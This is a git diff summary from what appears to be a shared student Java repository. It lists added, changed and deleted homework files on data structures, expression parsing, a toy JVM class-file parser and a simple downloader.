 .../3-ThirdWeek/download/api/Connection.java  |  23 -
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  27 -
 .../download/impl/ConnectionManagerImpl.java  |  15 -
 group24/Homework/4-FourWeek/LRUPageFrame.java |  57 --
 .../Homework/4-FourWeek/LRUPageFrameTest.java |  34 -
 .../jvm/loader/ClassFileLoader .java          |  25 -
 .../jvm/test/ClassFileloaderTest.java         |  92 --
 .../4-FourWeek/jvm/test/EmployeeV1.java       |   0
 group24/Homework/5-FifthWeek/README.txt       |   3 -
 group24/Homework/5-FifthWeek/StackUtil.java   |  48 -
 .../Homework/5-FifthWeek/StackUtilTest.java   |  65 --
 .../5-FifthWeek/jvm/clz/AccessFlag.java       |  23 -
 .../5-FifthWeek/jvm/clz/ClassFile .java       |  58 --
 .../5-FifthWeek/jvm/clz/ClassIndex.java       |  17 -
 .../5-FifthWeek/jvm/constant/ClassInfo.java   |  28 -
 .../jvm/constant/ConstantInfo.java            |  40 -
 .../jvm/constant/ConstantPool.java            |  31 -
 .../jvm/constant/FieldRefInfo.java            |  58 --
 .../jvm/constant/MethodRefInfo.java           |  60 --
 .../jvm/constant/NameAndTypeInfo.java         |  51 -
 .../jvm/constant/NullConstantInfo.java        |  17 -
 .../5-FifthWeek/jvm/constant/StringInfo.java  |  32 -
 .../5-FifthWeek/jvm/constant/UTF8Info.java    |  37 -
 .../jvm/loader/ByteCodeIterator.java          |  18 -
 .../jvm/loader/ClassFileLoader.java           |  62 --
 .../jvm/loader/ClassFileParser.java           |  62 --
 .../jvm/test/ClassFileloaderTest.java         | 208 ----
 .../5-FifthWeek/jvm/test/EmployeeV1.java      |  28 -
 .../Homework/5-FifthWeek/jvm/util/Util.java   |  24 -
 group24/Homework/6-SixWeek/InfixExpr.java     |  15 -
 group24/Homework/6-SixWeek/InfixExprTest.java |  52 -
 group24/Homework/6-SixWeek/README.txt         |   3 -
 .../6-SixWeek/jvm/attr/AttributeInfo.java     |  19 -
 .../Homework/6-SixWeek/jvm/attr/CodeAttr.java |  70 --
 .../6-SixWeek/jvm/attr/LineNumberTable.java   |  55 --
 .../6-SixWeek/jvm/attr/LocalVariableItem.java |  39 -
 .../jvm/attr/LocalVariableTable.java          |  42 -
 .../6-SixWeek/jvm/attr/StackMapTable.java     |  30 -
 .../6-SixWeek/jvm/clz/AccessFlag.java         |  25 -
 .../Homework/6-SixWeek/jvm/clz/ClassFile.java | 102 --
 .../6-SixWeek/jvm/clz/ClassIndex.java         |  19 -
 .../6-SixWeek/jvm/constant/ClassInfo.java     |  28 -
 .../6-SixWeek/jvm/constant/ConstantInfo.java  |  40 -
 .../6-SixWeek/jvm/constant/ConstantPool.java  |  31 -
 .../6-SixWeek/jvm/constant/FieldRefInfo.java  |  58 --
 .../6-SixWeek/jvm/constant/MethodRefInfo.java |  60 --
 .../jvm/constant/NameAndTypeInfo.java         |  51 -
 .../jvm/constant/NullConstantInfo.java        |  17 -
 .../6-SixWeek/jvm/constant/StringInfo.java    |  32 -
 .../6-SixWeek/jvm/constant/UTF8Info.java      |  37 -
 .../Homework/6-SixWeek/jvm/field/Field.java   |  50 -
 .../jvm/loader/ByteCodeIterator.java          |  57 --
 .../6-SixWeek/jvm/loader/ClassFileLoader.java | 140 ---
 .../6-SixWeek/jvm/loader/ClassFileParser.java |  62 --
 .../Homework/6-SixWeek/jvm/method/Method.java |  80 --
 .../jvm/test/ClassFileloaderTest.java         | 282 ------
 .../6-SixWeek/jvm/test/EmployeeV1.java        |  28 -
 group24/Homework/6-SixWeek/jvm/util/Util.java |  24 -
 .../Homework/7-SevenWeek/InfixToPostfix.java  |  14 -
 group24/Homework/7-SevenWeek/PostfixExpr.java |  18 -
 .../Homework/7-SevenWeek/PostfixExprTest.java |  41 -
 group24/Homework/7-SevenWeek/README.txt       |   4 -
 .../7-SevenWeek/jvm/attr/AttributeInfo.java   |  19 -
 .../7-SevenWeek/jvm/attr/CodeAttr.java        |  70 --
 .../7-SevenWeek/jvm/attr/LineNumberTable.java |  55 --
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  42 -
 .../7-SevenWeek/jvm/attr/StackMapTable.java   |  30 -
 .../7-SevenWeek/jvm/clz/AccessFlag.java       |  25 -
 .../7-SevenWeek/jvm/clz/ClassFile.java        | 102 --
 .../7-SevenWeek/jvm/clz/ClassIndex.java       |  19 -
 .../7-SevenWeek/jvm/cmd/BiPushCmd.java        |  23 -
 .../7-SevenWeek/jvm/cmd/ByteCodeCommand.java  | 128 ---
 .../7-SevenWeek/jvm/cmd/CommandParser.java    |  85 --
 .../7-SevenWeek/jvm/cmd/GetFieldCmd.java      |  22 -
 .../jvm/cmd/GetStaticFieldCmd.java            |  23 -
 .../7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java |  23 -
 .../7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java |  22 -
 .../Homework/7-SevenWeek/jvm/cmd/LdcCmd.java  |  29 -
 .../7-SevenWeek/jvm/cmd/NewObjectCmd.java     |  19 -
 .../7-SevenWeek/jvm/cmd/NoOperandCmd.java     |  23 -
 .../7-SevenWeek/jvm/cmd/OneOperandCmd.java    |  27 -
 .../7-SevenWeek/jvm/cmd/PutFieldCmd.java      |  19 -
 .../7-SevenWeek/jvm/cmd/TwoOperandCmd.java    |  67 --
 .../7-SevenWeek/jvm/constant/ClassInfo.java   |  28 -
 .../jvm/constant/ConstantInfo.java            |  40 -
 .../jvm/constant/ConstantPool.java            |  31 -
 .../jvm/constant/FieldRefInfo.java            |  58 --
 .../jvm/constant/MethodRefInfo.java           |  60 --
 .../jvm/constant/NameAndTypeInfo.java         |  51 -
 .../jvm/constant/NullConstantInfo.java        |  17 -
 .../7-SevenWeek/jvm/constant/StringInfo.java  |  32 -
 .../7-SevenWeek/jvm/constant/UTF8Info.java    |  37 -
 .../Homework/7-SevenWeek/jvm/field/Field.java |  50 -
 .../jvm/loader/ByteCodeIterator.java          |  57 --
 .../jvm/loader/ClassFileLoader.java           | 140 ---
 .../jvm/loader/ClassFileParser.java           |  62 --
 .../7-SevenWeek/jvm/method/Method.java        |  80 --
 .../jvm/print/ClassFilePrinter.java           |  54 --
 .../jvm/print/ConstantPoolPrinter.java        |  25 -
 .../jvm/test/ClassFileloaderTest.java         | 354 -------
 .../7-SevenWeek/jvm/test/EmployeeV1.java      |  28 -
 .../Homework/7-SevenWeek/jvm/util/Util.java   |  24 -
 .../8-EighthWeek/attr/AttributeInfo.java      |  19 -
 .../Homework/8-EighthWeek/attr/CodeAttr.java  |  70 --
 .../8-EighthWeek/attr/LineNumberTable.java    |  55 --
 .../8-EighthWeek/attr/LocalVariableItem.java  |  39 -
 .../8-EighthWeek/attr/LocalVariableTable.java |  42 -
 .../8-EighthWeek/attr/StackMapTable.java      |  30 -
 .../Homework/8-EighthWeek/clz/AccessFlag.java |  25 -
 .../Homework/8-EighthWeek/clz/ClassFile.java  | 102 --
 .../Homework/8-EighthWeek/clz/ClassIndex.java |  19 -
 .../Homework/8-EighthWeek/cmd/BiPushCmd.java  |  31 -
 .../8-EighthWeek/cmd/ByteCodeCommand.java     | 130 ---
 .../8-EighthWeek/cmd/CommandParser.java       |  85 --
 .../8-EighthWeek/cmd/GetFieldCmd.java         |  30 -
 .../8-EighthWeek/cmd/GetStaticFieldCmd.java   |  31 -
 .../8-EighthWeek/cmd/InvokeSpecialCmd.java    |  31 -
 .../8-EighthWeek/cmd/InvokeVirtualCmd.java    |  29 -
 group24/Homework/8-EighthWeek/cmd/LdcCmd.java |  37 -
 .../8-EighthWeek/cmd/NewObjectCmd.java        |  27 -
 .../8-EighthWeek/cmd/NoOperandCmd.java        |  31 -
 .../8-EighthWeek/cmd/OneOperandCmd.java       |  27 -
 .../8-EighthWeek/cmd/PutFieldCmd.java         |  27 -
 .../8-EighthWeek/cmd/TwoOperandCmd.java       |  67 --
 .../8-EighthWeek/constant/ClassInfo.java      |  28 -
 .../8-EighthWeek/constant/ConstantInfo.java   |  40 -
 .../8-EighthWeek/constant/ConstantPool.java   |  31 -
 .../8-EighthWeek/constant/FieldRefInfo.java   |  58 --
 .../8-EighthWeek/constant/MethodRefInfo.java  |  60 --
 .../constant/NameAndTypeInfo.java             |  51 -
 .../constant/NullConstantInfo.java            |  17 -
 .../8-EighthWeek/constant/StringInfo.java     |  32 -
 .../8-EighthWeek/constant/UTF8Info.java       |  37 -
 .../8-EighthWeek/engine/ExecutionResult.java  |  56 --
 .../8-EighthWeek/engine/ExecutorEngine.java   |  35 -
 .../Homework/8-EighthWeek/engine/Heap.java    |  39 -
 .../8-EighthWeek/engine/JavaObject.java       |  71 --
 .../8-EighthWeek/engine/MethodArea.java       |  68 --
 .../Homework/8-EighthWeek/engine/MiniJVM.java |  28 -
 .../8-EighthWeek/engine/StackFrame.java       |  95 --
 .../Homework/8-EighthWeek/field/Field.java    |  50 -
 .../8-EighthWeek/loader/ByteCodeIterator.java |  57 --
 .../8-EighthWeek/loader/ClassFileLoader.java  | 140 ---
 .../8-EighthWeek/loader/ClassFileParser.java  |  62 --
 .../Homework/8-EighthWeek/method/Method.java  |  80 --
 .../8-EighthWeek/print/ClassFilePrinter.java  |  54 --
 .../print/ConstantPoolPrinter.java            |  25 -
 .../test/ClassFileloaderTest.java             | 354 -------
 .../8-EighthWeek/test/EmployeeV1.java         |  28 -
 group24/Homework/8-EighthWeek/util/Util.java  |  24 -
 group27/383117348/.classpath                  |   3 +-
 .../com/coding/basic/queue/CircleQueue.java   |   5 -
 .../com/coding/basic/queue/Josephus.java      |  42 -
 .../com/coding/basic/queue/JosephusTest.java  |  26 -
 .../basic/queue/QueueWithTwoStacks.java       |  38 -
 .../coding/basic/stack/expr/InfixExpr.java    | 181 ----
 .../basic/stack/expr/InfixExprTest.java       |  46 -
 .../basic/stack/expr/InfixToPostfix.java      |  59 --
 .../basic/stack/expr/InfixToPrevfix.java      |  54 --
 .../coding/basic/stack/expr/PostfixExpr.java  |  55 --
 .../basic/stack/expr/PostfixExprTest.java     |  36 -
 .../coding/basic/stack/expr/PrefixExpr.java   |  49 -
 .../basic/stack/expr/PrefixExprTest.java      |  44 -
 .../com/coding/basic/stack/expr/Token.java    |  49 -
 .../coding/basic/stack/expr/TokenParser.java  |  56 --
 .../basic/stack/expr/TokenParserTest.java     |  40 -
 .../coderising/jvm/attr/AttributeInfo.java    |  17 -
 .../com/coderising/jvm/attr/CodeAttr.java     | 108 ---
 .../coderising/jvm/attr/LineNumberTable.java  |  70 --
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  54 --
 .../coderising/jvm/attr/StackMapTable.java    |  29 -
 .../com/coderising/jvm/clz/ClassFile.java     | 124 ---
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  23 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ---
 .../com/coderising/jvm/cmd/CommandParser.java | 144 ---
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../com/coderising/jvm/cmd/LdcCmd.java        |  29 -
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 -
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 --
 .../com/coderising/jvm/field/Field.java       |  42 -
 .../com/coderising/jvm/method/Method.java     |  76 --
 .../jvm/print/ClassFilePrinter.java           |  54 --
 .../jvm/print/ConstantPoolPrinter.java        |  25 -
 .../jvm/test/ClassFileloaderTest.java         | 353 -------
 .../coderising/download/DownloadThread.java   |   0
 .../coderising/download/FileDownloader.java   |   0
 .../download/FileDownloaderTest.java          |   0
 .../coderising/download/api/Connection.java   |   0
 .../download/api/ConnectionException.java     |   0
 .../download/api/ConnectionManager.java       |   0
 .../download/api/DownloadListener.java        |   0
 .../download/impl/ConnectionImpl.java         |   0
 .../download/impl/ConnectionManagerImpl.java  |   0
 .../com/coderising/jvm/clz/AccessFlag.java    |   0
 .../src/com/coderising/jvm/clz/ClassFile.java | 150 +--
 .../com/coderising/jvm/clz/ClassIndex.java    |   0
 .../coderising/jvm/constant/ClassInfo.java    |   0
 .../coderising/jvm/constant/ConstantInfo.java |   0
 .../coderising/jvm/constant/ConstantPool.java |   0
 .../coderising/jvm/constant/FieldRefInfo.java |   0
 .../coderising/jvm/constant/FloatInfo.java    |   0
 .../coderising/jvm/constant/IntegerInfo.java  |   0
 .../jvm/constant/MethodRefInfo.java           |   0
 .../jvm/constant/NameAndTypeInfo.java         |   0
 .../jvm/constant/NullConstantInfo.java        |   0
 .../coderising/jvm/constant/StringInfo.java   |   0
 .../com/coderising/jvm/constant/UTF8Info.java |   0
 .../jvm/loader/ByteCodeIterator.java          |  16 -
 .../jvm/loader/ClassFileLoader.java           |   0
 .../jvm/loader/ClassFileLoader_backup.java    |   0
 .../jvm/loader/ClassFileParser.java           |  45 +-
 .../jvm/test/ClassFileloaderTest.java         | 401 ++++----
 .../com/coderising/jvm/test/EmployeeV1.java   |   0
 .../com/coderising/jvm/util/Util.java         |   0
 .../coderising/litestruts/LoginAction.java    |   0
 .../com/coderising/litestruts/Struts.java     |   0
 .../com/coderising/litestruts/StrutsTest.java |   0
 .../com/coderising/litestruts/View.java       |   0
 .../com/coderising/litestruts/struts.xml      |   0
 .../com/coding/basic/BinaryTreeNode.java      |   0
 .../src}/com/coding/basic/Iterator.java       |  14 +-
 .../com/coding/basic/List.java                |   0
 .../queue => src/com/coding/basic}/Queue.java |   2 +-
 .../com/coding/basic/array/ArrayList.java     |   0
 .../com/coding/basic/array/ArrayUtil.java     |   0
 .../coding/basic/linklist/LRUPageFrame.java   |   0
 .../basic/linklist/LRUPageFrameTest.java      |   0
 .../com/coding/basic/linklist/LinkedList.java |   0
 .../com/coding/basic/stack/Stack.java         |   0
 .../com/coding/basic/stack/StackUtil.java     |   0
 .../basic/stack/test/StackUtilTest.java       |   0
 .../coding/basic/{array => }/ArrayList.java   |   6 +-
 .../src/com/coding/basic}/List.java           |  18 +-
 .../src/com/coding/basic/Stack.java           |  65 ++
 .../src/com/coding/basic/array/List.java      |   9 -
 .../com/coding/basic/linklist/LinkedList.java |   2 +-
 .../src/com/coding/basic/stack/Stack.java     |   4 +-
 .../src/com/coding/basic/stack/StackUtil.java |  26 +-
 .../com/coding/basic/stack/StackUtilTest.java |  76 --
 .../coding/basic/stack/expr/InfixExpr.java    |  98 --
 .../basic/stack/expr/InfixExprTest.java       |  57 --
 .../basic/stack/expr/InfixToPostfix.java      |  57 --
 .../coding/basic/stack/expr/PostfixExpr.java  |  51 -
 .../basic/stack/expr/PostfixExprTest.java     |  41 -
 .../coding/basic/stack/expr/PrefixExpr.java   |  18 -
 .../basic/stack/expr/PrefixExprTest.java      |  45 -
 .../com/coding/basic/stack/expr/Token.java    |  50 -
 .../coding/basic/stack/expr/TokenParser.java  |  57 --
 .../basic/stack/expr/TokenParserTest.java     |  41 -
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java | 108 ---
 .../coderising/jvm/attr/LineNumberTable.java  |  67 --
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  58 --
 .../coderising/jvm/attr/StackMapTable.java    |  30 -
 .../src/com/coderising/jvm/clz/ClassFile.java |  35 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ---
 .../com/coderising/jvm/cmd/CommandParser.java |  85 --
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 -
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 -
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 --
 .../coderising/jvm/constant/ClassInfo.java    |   4 -
 .../coderising/jvm/constant/ConstantInfo.java |  16 +-
 .../coderising/jvm/constant/ConstantPool.java |   4 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   4 -
 .../jvm/constant/MethodRefInfo.java           |   8 +-
 .../jvm/constant/NameAndTypeInfo.java         |   6 -
 .../jvm/constant/NullConstantInfo.java        |   4 -
 .../coderising/jvm/constant/StringInfo.java   |   6 -
 .../com/coderising/jvm/constant/UTF8Info.java |   5 -
 .../src/com/coderising/jvm/field/Field.java   |  47 -
 .../jvm/loader/ByteCodeIterator.java          |  44 +-
 .../jvm/loader/ClassFileParser.java           |  32 -
 .../src/com/coderising/jvm/method/Method.java |  98 --
 .../jvm/print/ClassFilePrinter.java           |  45 -
 .../jvm/print/ConstantPoolPrinter.java        |  83 --
 .../jvm/test/ClassFileloaderTest.java         | 167 +---
 .../coding/basic/stack/expr/InfixExpr.java    |  22 +-
 .../basic/stack/expr/InfixToPostfix.java      |  50 +-
 .../basic/stack/expr/InfixToPostfixTest.java  |  41 -
 .../com/coderising/jvm/test/MiniJVMTest.java  |  28 -
 1296 files changed, 6100 insertions(+), 61104 deletions(-)
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java
 delete mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java
 delete mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java
 delete mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java
 delete mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java
 delete mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java
